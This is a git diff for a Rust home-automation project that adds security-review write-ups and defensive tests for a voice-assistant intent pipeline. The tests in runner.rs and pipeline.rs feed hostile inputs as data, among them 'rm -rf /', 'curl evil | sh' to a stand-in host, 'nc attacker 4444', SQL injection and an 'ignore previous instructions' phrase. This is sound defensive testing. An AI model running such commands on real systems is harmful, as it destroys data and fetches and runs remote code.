diff --git a/CHANGELOG.md b/CHANGELOG.md index 667ba43b..9833590c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **ADR-260: RuField MFS — the open specification for camera-free multimodal field sensing.** A common event / tensor / calibration / privacy / provenance model that sits *above* WiFi CSI/CIR/BFLD, UWB, BLE Channel Sounding, mmWave radar, ultrasound, subsonic, infrared, and future quantum sensors (each modality emits a normalized `FieldEvent` → `FieldTensor` → `FusionGraph` → `PrivacyClass` → `ProvenanceReceipt`). Published as a **standalone repo** [`ruvnet/rufield`](https://github.com/ruvnet/rufield) and vendored here as the `vendor/rufield` submodule (the `vendor/rvcsi` pattern — not a `v2/` workspace member). The v0.1 reference stack is a self-contained 6-crate Rust workspace (`rufield-core`, `-provenance` [sha256 + ed25519], `-privacy` [P0–P5 guard], `-adapters` [deterministic `SyntheticSim` across wifi_csi/mmwave_radar/infrared_thermal], `-fusion` [graph + TOML weighted-Bayes rules → 7 room-state inferences], `-bench` [deterministic runner + the §31 acceptance test]). **60 tests / 0 failed, clippy-clean.** §27 acceptance criteria 1–8 and 10 PASS; the live dashboard (9) is deferred. **All benchmark metrics are SYNTHETIC** (scored against the simulator's own ground truth — presence/breathing/bed_exit/room_transition F1 = 1.000, nocturnal_scratch 0.923 reported honestly, p95 latency ~0.01 ms, provenance coverage 100%, 0 privacy violations) — they prove the pipeline recovers known truth, **not** field accuracy; real hardware adapters (ESP32 CSI, mmWave, thermal IR) are a documented roadmap item, none validated in v0.1. The Python deterministic proof is unchanged (rufield is off the signal-processing proof path). ### Security +- **`homecore-assist` voice/intent pipeline security review — one real unbounded-utterance DoS fixed (fail-closed length bound), pinned by fails-on-old tests; command-injection / ReDoS / NaN-poisoning / intent-confusion dimensions confirmed clean with evidence (ADR-133).** Beyond-SOTA review of the HA-compat Assist pipeline (utterance → recognizer → intent → handler → action, plus the `RufloRunner`) — the untrusted-input → action path, un-covered by the ADR-154–159 sweep. **One real finding fixed.** **HC-ASSIST-01 (unbounded-utterance DoS, LOW):** both `RegexIntentRecognizer::recognize` and the semantic `recognize_scored` accepted utterances of unbounded length from untrusted callers (voice transcripts / the WebSocket `assist` command) and ran `to_lowercase()` (a full clone) + a per-registered-pattern scan (and, in the semantic path, full tokenisation + feature-hash embedding) before any bound — an allocation/CPU amplification on attacker-controlled input. The `regex` crate is **linear-time** (no catastrophic backtracking), so this was a throughput/memory DoS, not a hang. **Fixed** by a named `MAX_UTTERANCE_BYTES = 4096` (far above any real spoken command) checked at both recognizer boundaries **before** any allocation/scan; an over-length utterance **fails closed** to `Ok(None)` (no intent, no action), identical to an unrecognised phrase, so it can never be coerced into firing a handler. Legitimate commands unaffected. Pinned by `over_length_utterance_fails_closed` (an over-length utterance that *contains* a valid command resolves to `None` — would have matched on old code) and `over_length_utterance_fails_closed_semantic`. **Dimensions confirmed clean (with evidence, no invented issues):** (1) **command/argument injection** — there is **no subprocess surface**: the `RufloRunner` has exactly two impls, `NoopRunner` (no process) and `LocalRunner` (runs the local recognizer, no process); no `std::process`/`tokio::process`/`Command`/`.spawn()` on any process exists in the crate (`spawn` is a `started: bool` lifecycle flag), and `RufloRunnerOpts.{script_path,env}` are inert data **never consumed** — the live `node ruflo-agent.js` runner is genuinely data-gated/future per the doc-comments. Additionally the `entity_id` capture class `[a-z_][a-z0-9_ .]*` **excludes every shell/SQL metacharacter**, so even when an injection-shaped utterance resolves (the regex is not exact-anchored) the captured slot is a clean token — sanitisation by construction (pinned by `shell_metachars_never_survive_into_a_resolved_slot`, `runner_opts_are_inert_no_process_spawned`, `pipeline_injection_shaped_utterance_carries_no_metachars_to_service`). (2) **ReDoS** — `regex 1.12.3` (no `fancy-regex` in the tree) is a linear-time finite automaton; a classic `(a+)+$` shape on adversarial input completes in bounded time (`pathological_backtracking_pattern_completes_in_bounded_time`). (3) **NaN-poisoning** — embeddings are **structurally finite** (FNV feature-hash + guarded L2 normalise, no external float input, no unguarded division), so a crafted utterance cannot inject NaN/Inf into the cosine k-NN; cosine vs the zero vector is a finite `0.0`; empty-index `max_by` returns `None` (no panic); the NaN-safe `partial_cmp().unwrap_or(Equal)` is already in place (`embeddings_are_structurally_finite`, `cosine_with_zero_vector_is_finite_not_nan`, `empty_utterance_against_empty_index_no_panic_no_match`). (4) **intent confusion / fail-closed** — an unrecognised utterance returns `not_understood()` (no service call), a recognised intent with no registered handler also returns `not_understood()`, semantic below-threshold/empty-index falls back to regex; no default high-privilege intent, no fail-open (`pipeline_injection_shaped_utterance_fires_no_handler` evidence + existing pipeline tests). (5) **panic-on-input** — no `unwrap`/`expect`/index reachable from a crafted utterance (the one `exemplars[id]` index uses an `id` from `enumerate()` over the append-only Vec). `cargo test -p homecore-assist --no-default-features`: **29→36 passed, 0 failed** (+7); default/`semantic`: **39→48, 0 failed** (+9). Workspace green; Python deterministic proof unchanged (homecore-assist is off the signal proof path). Review notes appended to ADR-133. - **`homecore-automation` security review — two real DoS findings fixed (template unbounded-expansion + delay panic-on-config), each pinned by a fails-on-old test; condition-bypass / fail-closed / action-authz dimensions confirmed clean (ADR-129 §8a).** Beyond-SOTA review of the HA-compat automation engine (the execution/eval surface: triggers → conditions → actions, with user-config Jinja2 templates), un-covered by the ADR-154–159 sweep. **HC-SEC-01 (template DoS, HIGH):** a `template:` condition / `value_template` is user config and was rendered with MiniJinja's defaults — **no instruction budget, no output cap**. A single nested-loop condition rendered a **100 MB string in ~11 s on one render call** (measured) — the bfld-class unbounded expansion (MiniJinja's per-call `range()` 10k cap does **not** stop nesting). **Fixed** by enabling MiniJinja's `fuel` feature + `set_fuel(Some(1_000_000))` (the attack now fails fast ~90 ms with "engine ran out of fuel") and a 64 KiB source-length cap; legitimate templates unaffected. **HC-SEC-02 (panic-on-config DoS, MEDIUM):** `Action::Delay`/`WaitForTrigger` fed the user float straight into `Duration::from_secs_f64`, which **panics** on negative/NaN/inf/overflow — all reachable from a crafted or typo'd YAML (`delay: {seconds: -1}`, `.nan`, `.inf`, `1e308`), aborting the spawned run task (measured panic). **Fixed** by a `safe_duration_from_secs` guard that saturates (NaN/±inf/negative → `0`, matching HA's lenient "non-positive delay = no delay"; huge → clamped to ~100 yr). **Dimensions probed clean (evidence in ADR-129 §8a):** condition eval is **fail-closed** (template-render error → `false`; un-parseable `choose` branch condition → branch skipped, never silently passing); run-modes are **bounded** (Single/Restart/Queued/`max:N` — a self-triggering automation does not livelock, ADR-162 tests); templates are **read-only sandboxed** (no service-call/state-set global exposed to template scope, so a template cannot escalate to an action); no `unwrap`/`expect`/index panic reachable from a crafted config in the eval/exec path beyond the fixed `from_secs_f64`. Fails-on-old verified by reverting each fix in isolation (delay tests panic; template nested-loop test runs unbounded >60 s; oversized-source test fails). `cargo test -p homecore-automation --no-default-features`: **40 → 54 passed, 0 failed** (+14: 4 template-DoS, 1 no-regression render, 5 delay/wait + safe-duration unit). Workspace green; Python deterministic proof unchanged (homecore-automation is off the signal proof path). - **`cog-ha-matter` witness/manifest crypto review — engine-class signed-digest collision confirmed ABSENT (length-prefixing already correct); domain-separation tag ADDED + `verify_strict` HARDENED; key-handling & verify-before-trust confirmed clean (ADR-116 §2.2).** Beyond-SOTA crypto+security review of the Cognitum/HA-Matter bridge's SHA-256 + Ed25519 witness chain — the exact signing chain ADR-262 P2 proposes to reuse — un-covered by the ADR-154–159 sweep. **Top-priority check: the sibling `wifi-densepose-engine` bug class (unframed boundary-to-boundary concatenation of operator-influenceable strings into a signed/hashed digest).** Result reported honestly: **that bug class is ABSENT here** — `witness::canonical_bytes` already length-prefixes the two variable-length operator-influenceable fields (`kind_len:u32-be ‖ kind`, `payload_len:u32-be ‖ payload`) over fixed-width `prev_hash[32] ‖ seq:u64-be ‖ ts:u64-be`, an injective encoding (proven pre-existing by `canonical_bytes_length_prefixing_prevents_ambiguity`), and `witness_signing::sign_event`/`verify_signature` sign/verify the **identical** bytes the hash chain commits to (no separate unframed concatenation). The manifest `binary_signature` (Ed25519 over the fixed 64-hex-char `binary_sha256`) is signed **at build time by the Makefile**, not in-crate, and over a single fixed-length value — no in-crate manifest-signing concatenation surface. **Two real hardening gaps fixed, the first pinned by fails-on-old tests:** - **CHM-WIT-01 (missing domain-separation tag, LOW) — ADDED.** The engine review's prescribed fix is "domain-tag **+** length-prefix"; the length-prefix half was present, the **domain tag was absent**. The witness SHA-256 preimage / Ed25519 message carried no tag distinguishing it from any other signing context that shares key infrastructure — notably the manifest `binary_signature`, the very chain ADR-262 P2 reuses. **Fix:** prepend a versioned, NUL-terminated `WITNESS_DOMAIN_TAG = b"cog-ha-matter/witness-event/v1\x00"` to `canonical_bytes` (the doc-comment already anticipated a leading version migration). Cross-protocol separation now holds: a witness signature can never be replayed as a message for another Ed25519 context. **Witness-bytes change by design** (prior on-disk witness hashes/signatures invalidated, like the engine fix) — verified safe: **no in-repo crate consumes cog-ha-matter's witness bytes/signatures programmatically** (all references are doc-comment mentions; the crate is self-contained, no `use cog_ha_matter::` anywhere). Pinned by `canonical_bytes_is_domain_separated`, `canonical_bytes_starts_with_domain_tag_then_prev_hash`, `witness_preimage_cannot_collide_with_a_bare_manifest_digest` (witness.rs) and `signature_commits_to_domain_tag_not_bare_fields` (witness_signing.rs — a signature over the **un-tagged** field concatenation must NOT verify); the domain-separation guard **FAILED on the reverted un-tagged encoding** ("canonical message is not domain-separated"). diff --git a/docs/adr/ADR-133-homecore-assist-ruflo.md b/docs/adr/ADR-133-homecore-assist-ruflo.md index 6a712e89..fd745de8 100644 --- a/docs/adr/ADR-133-homecore-assist-ruflo.md +++ b/docs/adr/ADR-133-homecore-assist-ruflo.md @@ -174,3 +174,71 @@ vs. an in-memory array at compile time), which intersects with ADR-084 (RabitQ) | **P1** (this ADR) | `intent`, `recognizer` (regex), `handler` (5 built-ins), `runner` (trait + noop), `pipeline` (end-to-end wiring), 10–15 tests | | **P2** | Real `tokio::process::Child` runner with Windows-safe teardown; `SemanticIntentRecognizer` with ruvector HNSW | | **P3** | STT/TTS bridge, satellite protocol, cloud fallback | + +--- + +## 6. Security review (beyond-SOTA, untrusted-input → action path) + +A focused security review of the Assist pipeline — `utterance → recognizer → +intent → handler → action`, plus `RufloRunner` — treating the utterance as +untrusted input (voice transcripts, the WebSocket `assist` command). This +surface was not covered by the ADR-154–159 sweep. + +### 6.1 Finding fixed — HC-ASSIST-01 (unbounded-utterance DoS, LOW) + +Both `RegexIntentRecognizer::recognize` and the semantic `recognize_scored` +accepted utterances of **unbounded length** and ran `to_lowercase()` (a full +clone) + a per-registered-pattern scan (and, in the semantic path, full +tokenisation + feature-hash embedding) before any bound — an allocation/CPU +amplification on attacker-controlled input. The `regex` crate is **linear-time** +(RE2-style finite automaton, no catastrophic backtracking), so this was a +throughput/memory DoS, not a hang. + +**Fix:** `MAX_UTTERANCE_BYTES = 4096` (far above any real spoken command), +checked at **both** recognizer boundaries *before* any allocation/scan. An +over-length utterance **fails closed** to `Ok(None)` — no intent, no action, +identical to an unrecognised phrase — so it can never be coerced into firing a +handler. Pinned by `over_length_utterance_fails_closed` (an over-length +utterance that *contains* a valid command resolves to `None`, which would have +matched on the old code) and `over_length_utterance_fails_closed_semantic`. + +### 6.2 Dimensions confirmed clean (with evidence) + +- **Command / argument injection — NO SUBPROCESS SURFACE.** The `RufloRunner` + has exactly two impls: `NoopRunner` (no process) and `LocalRunner` (runs the + local recognizer, no process). There is **no** `std::process` / `tokio::process` + / `Command` / process `.spawn()` anywhere in the crate — the trait `spawn` is + only a `started: bool` lifecycle flag — and `RufloRunnerOpts.{script_path,env}` + are **inert data, never consumed**. The live `node ruflo-agent.js` runner is + genuinely data-gated/future (P2). Defence-in-depth: the `entity_id` capture + class `[a-z_][a-z0-9_ .]*` **excludes every shell/SQL metacharacter**, so even + when an injection-shaped utterance resolves (the regex is not exact-anchored), + the captured slot is a clean token — sanitisation by construction. Pins: + `shell_metachars_never_survive_into_a_resolved_slot`, + `runner_opts_are_inert_no_process_spawned`, + `pipeline_injection_shaped_utterance_carries_no_metachars_to_service`. +- **ReDoS — STRUCTURALLY IMPOSSIBLE.** `regex 1.12.3` (no `fancy-regex` in the + dependency tree) is linear-time; a classic `(a+)+$` shape on adversarial input + completes in bounded time. Pin: + `pathological_backtracking_pattern_completes_in_bounded_time`. Patterns are + operator-registered, not user-supplied, in any case. +- **NaN-poisoning — EMBEDDINGS STRUCTURALLY FINITE.** The embedding path takes + only `&str` and produces values via FNV feature-hashing + a guarded L2 + normalise (`norm > 1e-12`); no external float input, no unguarded division, so + a crafted utterance cannot inject NaN/Inf to poison the cosine k-NN. Cosine + against the zero vector is a finite `0.0`; an empty index `max_by` returns + `None` (no panic); the NaN-safe `partial_cmp().unwrap_or(Equal)` is already in + place. Pins: `embeddings_are_structurally_finite`, + `cosine_with_zero_vector_is_finite_not_nan`, + `empty_utterance_against_empty_index_no_panic_no_match`. +- **Intent confusion / fail-closed.** An unrecognised utterance → `not_understood()` + (no service call); a recognised intent with no registered handler → + `not_understood()`; semantic below-threshold / empty-index → regex fallback. + No default high-privilege intent, no fail-open path. +- **Panic-on-input.** No `unwrap`/`expect`/index reachable from a crafted + utterance; the one `exemplars[id]` index uses an `id` from `enumerate()` over + the append-only exemplar `Vec` (no remove API), so it is always in bounds. + +`cargo test -p homecore-assist --no-default-features`: **29→36, 0 failed** (+7); +default/`semantic`: **39→48, 0 failed** (+9). Python deterministic proof +unchanged (homecore-assist is off the signal proof path). diff --git a/v2/crates/homecore-assist/src/embedding.rs b/v2/crates/homecore-assist/src/embedding.rs index 48868943..ea8bda84 100644 --- a/v2/crates/homecore-assist/src/embedding.rs +++ b/v2/crates/homecore-assist/src/embedding.rs @@ -149,6 +149,44 @@ mod tests { assert!(sim_unrel < 0.3, "unrelated similarity too high: {sim_unrel:.3}"); } + #[test] + fn embeddings_are_structurally_finite() { + // SECURITY (NaN-poisoning): the embedding path takes only `&str` and + // produces values via FNV feature-hashing + a guarded L2 normalise. + // There is NO external float input and NO unguarded division, so a + // crafted utterance cannot inject NaN/±Inf into a vector and poison the + // cosine k-NN match. Prove every component is finite across adversarial + // inputs (empty, punctuation-only, unicode, very long, control chars). + for s in [ + "", + "!!! ???", + "turn on the kitchen light", + "🔥🔥🔥 \u{0}\u{1}\u{7f} mix", + &"x".repeat(10_000), + "NaN inf -inf 1e999", + ] { + let v = embed(s); + assert_eq!(v.len(), EMBEDDING_DIM); + assert!( + v.iter().all(|x| x.is_finite()), + "embedding of {s:?} contained a non-finite component" + ); + } + } + + #[test] + fn cosine_with_zero_vector_is_finite_not_nan() { + // SECURITY (NaN-poisoning): an empty/punctuation-only utterance embeds + // to the zero vector. Cosine against any exemplar must be a finite 0.0, + // never NaN — so a below-threshold comparison stays well-defined and the + // recognizer falls through (no action) rather than matching on garbage. + let zero = embed("!!! ???"); + let real = embed("turn on the light"); + let sim = cosine_similarity(&zero, &real); + assert!(sim.is_finite(), "cosine vs zero vector must be finite, got {sim}"); + assert_eq!(sim, 0.0, "dot product with the zero vector is exactly 0"); + } + #[test] fn identical_text_is_similarity_one() { let a = embed("lock the front door"); diff --git a/v2/crates/homecore-assist/src/lib.rs b/v2/crates/homecore-assist/src/lib.rs index f5665a9b..0cf34ec2 100644 --- a/v2/crates/homecore-assist/src/lib.rs +++ b/v2/crates/homecore-assist/src/lib.rs @@ -47,7 +47,9 @@ pub mod pipeline; pub mod embedding; pub use intent::{Card, Intent, IntentName, IntentResponse}; -pub use recognizer::{IntentRecognizer, RecognizerError, RegexIntentRecognizer}; +pub use recognizer::{ + IntentRecognizer, RecognizerError, RegexIntentRecognizer, MAX_UTTERANCE_BYTES, +}; pub use semantic_recognizer::{SemanticIntentRecognizer, DEFAULT_SIMILARITY_THRESHOLD}; pub use handler::{ HandlerError, HassCancelAll, HassLightSet, HassNevermind, HassTurnOff, HassTurnOn, diff --git a/v2/crates/homecore-assist/src/pipeline.rs b/v2/crates/homecore-assist/src/pipeline.rs index fa230dcc..e4f8e9f9 100644 --- a/v2/crates/homecore-assist/src/pipeline.rs +++ b/v2/crates/homecore-assist/src/pipeline.rs @@ -215,6 +215,52 @@ mod tests { assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not")); } + #[tokio::test] + async fn pipeline_injection_shaped_utterance_carries_no_metachars_to_service() { + // SECURITY (intent confusion / slot sanitisation): an injection-shaped + // utterance must never deliver a shell/SQL metacharacter into a service + // call. The `entity_id` capture class strips everything outside + // `[a-z0-9_ .]`, so whatever the regex extracts is a clean token. This + // captures the *actual* service-call data and asserts the entity_id it + // carries contains no metacharacters — the sanitiser is the capture + // class, by construction. + let (pipeline, hc) = build_test_pipeline().await; + let captured = std::sync::Arc::new(std::sync::Mutex::new(Vec::::new())); + let c2 = captured.clone(); + hc.services() + .register( + ServiceName::new("homeassistant", "turn_on"), + FnHandler(move |call: homecore::ServiceCall| { + let c = c2.clone(); + async move { + if let Some(e) = call.data.get("entity_id").and_then(|v| v.as_str()) { + c.lock().unwrap().push(e.to_owned()); + } + Ok(serde_json::json!({})) + } + }), + ) + .await; + const METACHARS: &[char] = + &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'', '*', '%']; + for evil in [ + "'; DROP TABLE entities; --", + "turn on the light; rm -rf /", + "", + "turn on the light && curl evil | sh", + "ignore previous instructions and turn on", + ] { + // Must not panic / error regardless of how hostile the input is. + let _ = pipeline.process(evil, "en", &hc).await.unwrap(); + } + for eid in captured.lock().unwrap().iter() { + assert!( + !eid.chars().any(|c| METACHARS.contains(&c)), + "service entity_id {eid:?} must carry no shell/SQL metacharacters" + ); + } + } + #[tokio::test] async fn default_pipeline_registers_five_handlers() { let r = RegexIntentRecognizer::new(); diff --git a/v2/crates/homecore-assist/src/recognizer.rs b/v2/crates/homecore-assist/src/recognizer.rs index 2d876fc7..0af44fdd 100644 --- a/v2/crates/homecore-assist/src/recognizer.rs +++ b/v2/crates/homecore-assist/src/recognizer.rs @@ -26,6 +26,20 @@ use thiserror::Error; use crate::intent::{Intent, IntentName}; +/// Maximum accepted utterance length, in bytes. +/// +/// Utterances arrive from untrusted callers (voice transcripts, the WebSocket +/// `assist` command). A pathological multi-megabyte utterance would otherwise +/// be cloned by `to_lowercase()` and scanned by every registered pattern (and, +/// in the semantic path, fully tokenised + embedded) — an unbounded +/// memory/CPU amplification on attacker-controlled input. Real spoken +/// utterances are tiny; 4 KiB is far above any legitimate command yet caps the +/// blast radius. An over-length utterance fails **closed**: the recognizer +/// returns `Ok(None)` (no intent, no action), exactly like an unrecognised +/// phrase. The `regex` crate itself is linear-time (no catastrophic +/// backtracking), so this bound is purely an allocation/throughput guard. +pub const MAX_UTTERANCE_BYTES: usize = 4096; + #[derive(Error, Debug)] pub enum RecognizerError { #[error("regex compile error: {0}")] @@ -102,6 +116,12 @@ impl IntentRecognizer for RegexIntentRecognizer { utterance: &str, language: &str, ) -> Result, RecognizerError> { + // Fail-closed on an over-length utterance before any allocation/scan. + // Untrusted input must not be able to force an unbounded `to_lowercase` + // clone + per-pattern scan. Bound first, then normalise. + if utterance.len() > MAX_UTTERANCE_BYTES { + return Ok(None); + } let normalised = utterance.trim().to_lowercase(); let patterns = self.patterns.read().await; for pattern in patterns.iter() { @@ -183,6 +203,55 @@ mod tests { assert!(result.is_none()); } + #[tokio::test] + async fn over_length_utterance_fails_closed() { + // SECURITY (DoS / fail-closed): an utterance larger than the bound must + // return Ok(None) WITHOUT being normalised or scanned. Crucially, even + // an over-length utterance that *contains* a matching command must NOT + // resolve — fail closed, never open. + // + // This FAILS against the pre-fix recognizer: there, a giant prefix + // followed by "turn on the kitchen light" would still match HassTurnOn + // (and force a multi-megabyte `to_lowercase` clone + scan first). + let r = turn_on_recognizer().await; + let huge = format!("{} turn on the kitchen light", "a ".repeat(MAX_UTTERANCE_BYTES)); + assert!(huge.len() > MAX_UTTERANCE_BYTES); + + let result = r.recognize(&huge, "en").await.unwrap(); + assert!( + result.is_none(), + "over-length utterance must fail closed (no intent, no action)" + ); + + // And a just-under-bound utterance still works, so the cap doesn't + // break legitimate (tiny) commands. + let ok = r + .recognize("turn on the kitchen light", "en") + .await + .unwrap(); + assert!(ok.is_some(), "normal-length command must still resolve"); + } + + #[tokio::test] + async fn pathological_backtracking_pattern_completes_in_bounded_time() { + // SECURITY (ReDoS): the `regex` crate is a linear-time finite automaton, + // so even a classic catastrophic-backtracking shape `(a+)+$` cannot hang + // on a crafted adversarial input. This proves the recognizer terminates + // promptly on the worst-case input the regex engine is asked to run. + let r = RegexIntentRecognizer::new(); + r.register("Evil", r"(a+)+$", "*").await.unwrap(); + // Just under the length bound: all 'a' then a 'b' — the classic input + // that destroys a backtracking engine. Linear-time regex shrugs. + let evil = format!("{}b", "a".repeat(MAX_UTTERANCE_BYTES - 1)); + let start = std::time::Instant::now(); + let _ = r.recognize(&evil, "en").await.unwrap(); + let elapsed = start.elapsed(); + assert!( + elapsed < std::time::Duration::from_secs(2), + "linear-time regex must not hang on adversarial input; took {elapsed:?}" + ); + } + #[tokio::test] async fn language_filter_skips_non_matching() { let r = RegexIntentRecognizer::new(); diff --git a/v2/crates/homecore-assist/src/runner.rs b/v2/crates/homecore-assist/src/runner.rs index a36f6e75..beb3a2fd 100644 --- a/v2/crates/homecore-assist/src/runner.rs +++ b/v2/crates/homecore-assist/src/runner.rs @@ -393,6 +393,63 @@ mod tests { assert!(matches!(err, AssistError::ParseError(_))); } + #[tokio::test] + async fn shell_metachars_never_survive_into_a_resolved_slot() { + // SECURITY (command/argument injection): two layers of defense. + // 1. There is NO subprocess — `spawn` is a lifecycle flag and + // `RufloRunnerOpts` is inert, so no argv is ever built. + // 2. Even so, the `entity_id` capture class is `[a-z_][a-z0-9_ .]*`, + // which *excludes* every shell metacharacter. So when an + // injection-shaped utterance DOES resolve (the regex is not exact- + // anchored), the captured slot is a clean token with the hostile + // tail stripped — never `;`, `|`, `$`, backtick, `&`, `/`, etc. + // This pins the slot-sanitisation-by-construction property: a slot value + // can never carry a metachar into a (future) argv. + let mut runner = LocalRunner::new(turn_on_recognizer().await); + runner.spawn(RufloRunnerOpts::default()).await.unwrap(); + const METACHARS: &[char] = &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'']; + for evil in [ + "turn on the light; rm -rf /", + "turn on the light && shutdown -h now", + "turn on the light | nc attacker 4444", + "turn on the light `curl evil.sh | sh`", + "turn on the light $(reboot)", + ] { + let resp = runner + .send_request(serde_json::json!({"utterance": evil, "language": "en"})) + .await + .unwrap(); + if let Some(intent) = resp.intent { + if let Some(eid) = intent.entity_id() { + assert!( + !eid.chars().any(|c| METACHARS.contains(&c)), + "resolved entity_id {eid:?} from {evil:?} must contain no shell metachars" + ); + } + } + } + } + + #[tokio::test] + async fn runner_opts_are_inert_no_process_spawned() { + // SECURITY (command injection): even a hostile `script_path` / `env` in + // RufloRunnerOpts is never consumed — `spawn` launches no process. This + // documents-and-pins that the data-gated P2 subprocess is genuinely + // absent (confirmed Noop/Local, no spawn surface today). + let mut env = std::collections::HashMap::new(); + env.insert("EVIL".to_owned(), "$(rm -rf /)".to_owned()); + let opts = RufloRunnerOpts { + script_path: "/bin/sh -c 'curl evil | sh'".to_owned(), + env, + timeout_ms: 1, + }; + let mut runner = NoopRunner::new(); + // No panic, no spawn, no error — the opts are pure data. + assert!(runner.spawn(opts.clone()).await.is_ok()); + let mut local = LocalRunner::new(turn_on_recognizer().await); + assert!(local.spawn(opts).await.is_ok()); + } + #[tokio::test] async fn local_runner_send_before_spawn_is_not_started() { let runner = LocalRunner::new(turn_on_recognizer().await); diff --git a/v2/crates/homecore-assist/src/semantic_recognizer.rs b/v2/crates/homecore-assist/src/semantic_recognizer.rs index b3ca5f53..95a970dd 100644 --- a/v2/crates/homecore-assist/src/semantic_recognizer.rs +++ b/v2/crates/homecore-assist/src/semantic_recognizer.rs @@ -135,6 +135,12 @@ impl SemanticIntentRecognizer { utterance: &str, language: &str, ) -> Result<(Option, Option), RecognizerError> { + // Fail-closed on an over-length utterance before embedding/scanning. + // Untrusted input must not force an unbounded `to_lowercase` clone + + // full tokenisation/embedding. Mirrors the regex recognizer's bound. + if utterance.len() > crate::recognizer::MAX_UTTERANCE_BYTES { + return Ok((None, None)); + } if let Some((id, similarity)) = self.nearest(utterance, language).await { if similarity >= self.threshold { let inner = self.index.read().await; @@ -228,6 +234,32 @@ mod tests { r } + #[tokio::test] + async fn empty_utterance_against_empty_index_no_panic_no_match() { + // SECURITY (NaN/empty-poisoning): an empty (zero-vector) query against an + // empty index must not panic and must yield no intent — the recognizer + // falls through to the (also empty) regex fallback. Proves the empty- + // iterator `max_by` path returns None cleanly. + let semantic = SemanticIntentRecognizer::new(RegexIntentRecognizer::new()); + let result = semantic.recognize("", "en").await.unwrap(); + assert!(result.is_none(), "empty utterance must produce no intent / no action"); + } + + #[tokio::test] + async fn over_length_utterance_fails_closed_semantic() { + // SECURITY (DoS / fail-closed): an over-length utterance must short- + // circuit before embedding/scanning, returning no intent — even if it + // textually contains an enrolled/fallback-matchable command. + let semantic = SemanticIntentRecognizer::new(turn_on_recognizer().await); + let huge = format!( + "{} turn on the kitchen light", + "a ".repeat(crate::recognizer::MAX_UTTERANCE_BYTES) + ); + assert!(huge.len() > crate::recognizer::MAX_UTTERANCE_BYTES); + let result = semantic.recognize(&huge, "en").await.unwrap(); + assert!(result.is_none(), "over-length utterance must fail closed in semantic path"); + } + #[tokio::test] async fn semantic_recognizer_delegates_to_fallback() { // No exemplars enrolled → empty HNSW index → pure regex fallback.